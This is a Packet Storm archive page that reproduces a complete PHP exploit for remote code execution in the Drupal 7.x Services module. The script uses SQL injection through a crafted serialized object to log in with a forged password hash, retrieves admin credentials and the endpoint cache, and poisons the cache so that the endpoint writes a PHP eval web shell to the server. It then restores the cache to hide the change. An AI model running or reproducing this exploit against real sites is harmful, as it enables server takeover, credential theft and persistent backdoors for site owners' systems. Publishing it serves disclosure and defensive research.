what you don't know can hurt you

Drupal 7.x Module Services Remote Code Execution

Drupal 7.x Module Services Remote Code Execution
Posted Mar 9, 2017
Authored by Charles FOL

Drupal version 7.x module services remote code execution exploit.

tags | exploit, remote, code execution
MD5 | 835974e09557a41877938f189241232b

Drupal 7.x Module Services Remote Code Execution

Change Mirror Download
# Exploit Title: Drupal 7.x Services Module Remote Code Execution
# Vendor Homepage: https://www.drupal.org/project/services
# Exploit Author: Charles FOL
# Contact: https://twitter.com/ambionics
# Website: https://www.ambionics.io/blog/drupal-services-module-rce


#!/usr/bin/php
<?php
# Drupal Services Module Remote Code Execution Exploit
# https://www.ambionics.io/blog/drupal-services-module-rce
# cf
#
# Three stages:
# 1. Use the SQL Injection to get the contents of the cache for current
endpoint
# along with admin credentials and hash
# 2. Alter the cache to allow us to write a file and do so
# 3. Restore the cache
#

# Initialization

error_reporting(E_ALL);

define('QID', 'anything');
define('TYPE_PHP', 'application/vnd.php.serialized');
define('TYPE_JSON', 'application/json');
define('CONTROLLER', 'user');
define('ACTION', 'login');

$url = 'http://vmweb.lan/drupal-7.54';
$endpoint_path = '/rest_endpoint';
$endpoint = 'rest_endpoint';

$file = [
'filename' => 'dixuSOspsOUU.php',
'data' => '<?php eval(file_get_contents(\'php://input\')); ?>'
];

$browser = new Browser($url . $endpoint_path);


# Stage 1: SQL Injection

class DatabaseCondition
{
protected $conditions = [
"#conjunction" => "AND"
];
protected $arguments = [];
protected $changed = false;
protected $queryPlaceholderIdentifier = null;
public $stringVersion = null;

public function __construct($stringVersion=null)
{
$this->stringVersion = $stringVersion;

if(!isset($stringVersion))
{
$this->changed = true;
$this->stringVersion = null;
}
}
}

class SelectQueryExtender {
# Contains a DatabaseCondition object instead of a SelectQueryInterface
# so that $query->compile() exists and (string) $query is controlled by
us.
protected $query = null;

protected $uniqueIdentifier = QID;
protected $connection;
protected $placeholder = 0;

public function __construct($sql)
{
$this->query = new DatabaseCondition($sql);
}
}

$cache_id = "services:$endpoint:resources";
$sql_cache = "SELECT data FROM {cache} WHERE cid='$cache_id'";
$password_hash = '$S$D2NH.6IZNb1vbZEV1F0S9fqIz3A0Y1xueKznB8vWrMsnV/nrTpnd';

# Take first user but with a custom password
# Store the original password hash in signature_format, and endpoint cache
# in signature
$query =
"0x3a) UNION SELECT ux.uid AS uid, " .
"ux.name AS name, '$password_hash' AS pass, " .
"ux.mail AS mail, ux.theme AS theme, ($sql_cache) AS signature, " .
"ux.pass AS signature_format, ux.created AS created, " .
"ux.access AS access, ux.login AS login, ux.status AS status, " .
"ux.timezone AS timezone, ux.language AS language, ux.picture " .
"AS picture, ux.init AS init, ux.data AS data FROM {users} ux " .
"WHERE ux.uid<>(0"
;

$query = new SelectQueryExtender($query);
$data = ['username' => $query, 'password' => 'ouvreboite'];
$data = serialize($data);

$json = $browser->post(TYPE_PHP, $data);

# If this worked, the rest will as well
if(!isset($json->user))
{
print_r($json);
e("Failed to login with fake password");
}

# Store session and user data

$session = [
'session_name' => $json->session_name,
'session_id' => $json->sessid,
'token' => $json->token
];
store('session', $session);

$user = $json->user;

# Unserialize the cached value
# Note: Drupal websites admins, this is your opportunity to fight back :)
$cache = unserialize($user->signature);

# Reassign fields
$user->pass = $user->signature_format;
unset($user->signature);
unset($user->signature_format);

store('user', $user);

if($cache === false)
{
e("Unable to obtains endpoint's cache value");
}

x("Cache contains " . sizeof($cache) . " entries");

# Stage 2: Change endpoint's behaviour to write a shell

class DrupalCacheArray
{
# Cache ID
protected $cid = "services:endpoint_name:resources";
# Name of the table to fetch data from.
# Can also be used to SQL inject in DrupalDatabaseCache::getMultiple()
protected $bin = 'cache';
protected $keysToPersist = [];
protected $storage = [];

function __construct($storage, $endpoint, $controller, $action) {
$settings = [
'services' => ['resource_api_version' => '1.0']
];
$this->cid = "services:$endpoint:resources";

# If no endpoint is given, just reset the original values
if(isset($controller))
{
$storage[$controller]['actions'][$action] = [
'help' => 'Writes data to a file',
# Callback function
'callback' => 'file_put_contents',
# This one does not accept "true" as Drupal does,
# so we just go for a tautology
'access callback' => 'is_string',
'access arguments' => ['a string'],
# Arguments given through POST
'args' => [
0 => [
'name' => 'filename',
'type' => 'string',
'description' => 'Path to the file',
'source' => ['data' => 'filename'],
'optional' => false,
],
1 => [
'name' => 'data',
'type' => 'string',
'description' => 'The data to write',
'source' => ['data' => 'data'],
'optional' => false,
],
],
'file' => [
'type' => 'inc',
'module' => 'services',
'name' => 'resources/user_resource',
],
'endpoint' => $settings
];
$storage[$controller]['endpoint']['actions'] += [
$action => [
'enabled' => 1,
'settings' => $settings
]
];
}

$this->storage = $storage;
$this->keysToPersist = array_fill_keys(array_keys($storage), true);
}
}

class ThemeRegistry Extends DrupalCacheArray {
protected $persistable;
protected $completeRegistry;
}

cache_poison($endpoint, $cache);

# Write the file
$json = (array) $browser->post(TYPE_JSON, json_encode($file));


# Stage 3: Restore endpoint's behaviour

cache_reset($endpoint, $cache);

if(!(isset($json[0]) && $json[0] === strlen($file['data'])))
{
e("Failed to write file.");
}

$file_url = $url . '/' . $file['filename'];
x("File written: $file_url");


# HTTP Browser

class Browser
{
private $url;
private $controller = CONTROLLER;
private $action = ACTION;

function __construct($url)
{
$this->url = $url;
}

function post($type, $data)
{
$headers = [
"Accept: " . TYPE_JSON,
"Content-Type: $type",
"Content-Length: " . strlen($data)
];
$url = $this->url . '/' . $this->controller . '/' . $this->action;

$s = curl_init();
curl_setopt($s, CURLOPT_URL, $url);
curl_setopt($s, CURLOPT_HTTPHEADER, $headers);
curl_setopt($s, CURLOPT_POST, 1);
curl_setopt($s, CURLOPT_POSTFIELDS, $data);
curl_setopt($s, CURLOPT_RETURNTRANSFER, true);
curl_setopt($s, CURLOPT_SSL_VERIFYHOST, 0);
curl_setopt($s, CURLOPT_SSL_VERIFYPEER, 0);
$output = curl_exec($s);
$error = curl_error($s);
curl_close($s);

if($error)
{
e("cURL: $error");
}

return json_decode($output);
}
}

# Cache

function cache_poison($endpoint, $cache)
{
$tr = new ThemeRegistry($cache, $endpoint, CONTROLLER, ACTION);
cache_edit($tr);
}

function cache_reset($endpoint, $cache)
{
$tr = new ThemeRegistry($cache, $endpoint, null, null);
cache_edit($tr);
}

function cache_edit($tr)
{
global $browser;
$data = serialize([$tr]);
$json = $browser->post(TYPE_PHP, $data);
}

# Utils

function x($message)
{
print("$message\n");
}

function e($message)
{
x($message);
exit(1);
}

function store($name, $data)
{
$filename = "$name.json";
file_put_contents($filename, json_encode($data, JSON_PRETTY_PRINT));
x("Stored $name information in $filename");
}



Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

February 2020

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Feb 1st
    1 Files
  • 2
    Feb 2nd
    2 Files
  • 3
    Feb 3rd
    17 Files
  • 4
    Feb 4th
    15 Files
  • 5
    Feb 5th
    24 Files
  • 6
    Feb 6th
    16 Files
  • 7
    Feb 7th
    19 Files
  • 8
    Feb 8th
    1 Files
  • 9
    Feb 9th
    2 Files
  • 10
    Feb 10th
    15 Files
  • 11
    Feb 11th
    20 Files
  • 12
    Feb 12th
    12 Files
  • 13
    Feb 13th
    18 Files
  • 14
    Feb 14th
    17 Files
  • 15
    Feb 15th
    4 Files
  • 16
    Feb 16th
    4 Files
  • 17
    Feb 17th
    34 Files
  • 18
    Feb 18th
    15 Files
  • 19
    Feb 19th
    19 Files
  • 20
    Feb 20th
    20 Files
  • 21
    Feb 21st
    15 Files
  • 22
    Feb 22nd
    2 Files
  • 23
    Feb 23rd
    2 Files
  • 24
    Feb 24th
    16 Files
  • 25
    Feb 25th
    37 Files
  • 26
    Feb 26th
    0 Files
  • 27
    Feb 27th
    0 Files
  • 28
    Feb 28th
    0 Files
  • 29
    Feb 29th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2016 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close